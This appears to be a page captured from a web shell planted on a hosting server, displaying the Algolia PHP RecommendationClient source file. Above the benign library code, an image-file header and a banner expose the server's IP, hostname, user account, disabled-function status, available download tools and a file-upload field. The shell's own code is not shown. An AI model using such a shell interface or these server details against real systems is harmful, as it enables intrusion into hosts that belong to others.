����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././././www/vendor/algolia/algoliasearch-client-php/src/ |
Upload File : |
<?php
namespace Algolia\AlgoliaSearch;
use Algolia\AlgoliaSearch\Config\RecommendationConfig;
use Algolia\AlgoliaSearch\RequestOptions\RequestOptions;
use Algolia\AlgoliaSearch\RetryStrategy\ApiWrapper;
use Algolia\AlgoliaSearch\RetryStrategy\ClusterHosts;
final class RecommendationClient
{
/**
* @var \Algolia\AlgoliaSearch\RetryStrategy\ApiWrapper
*/
private $api;
/**
* @var \Algolia\AlgoliaSearch\Config\RecommendationConfig
*/
private $config;
/**
* RecommendationClient constructor.
*/
public function __construct(ApiWrapper $api, RecommendationConfig $config)
{
$this->api = $api;
$this->config = $config;
}
/**
* @param string|null $appId
* @param string|null $apiKey
* @param string|null $region
*
* @return RecommendationClient
*/
public static function create($appId = null, $apiKey = null, $region = null)
{
$config = RecommendationConfig::create($appId, $apiKey, $region);
return static::createWithConfig($config);
}
/**
* @return RecommendationClient
*/
public static function createWithConfig(RecommendationConfig $config)
{
$config = clone $config;
if ($hosts = $config->getHosts()) {
// If a list of hosts was passed, we ignore the cache
$clusterHosts = ClusterHosts::create($hosts);
} else {
$clusterHosts = ClusterHosts::createForRecommendation($config->getRegion());
}
$apiWrapper = new ApiWrapper(
Algolia::getHttpClient(),
$config,
$clusterHosts
);
return new self($apiWrapper, $config);
}
/**
* @param array<string, int|string|array>|RequestOptions $requestOptions
*
* @return array<string, int|array>
*/
public function getPersonalizationStrategy($requestOptions = [])
{
return $this->api->read('GET', api_path('/1/strategies/personalization'), $requestOptions);
}
/**
* @param array<string, int|array> $strategy
* @param array<string, int|string|array>|RequestOptions $requestOptions
*
* @return array<string, int|string>
*/
public function setPersonalizationStrategy($strategy, $requestOptions = [])
{
return $this->api->write('POST', api_path('/1/strategies/personalization'), $strategy, $requestOptions);
}
}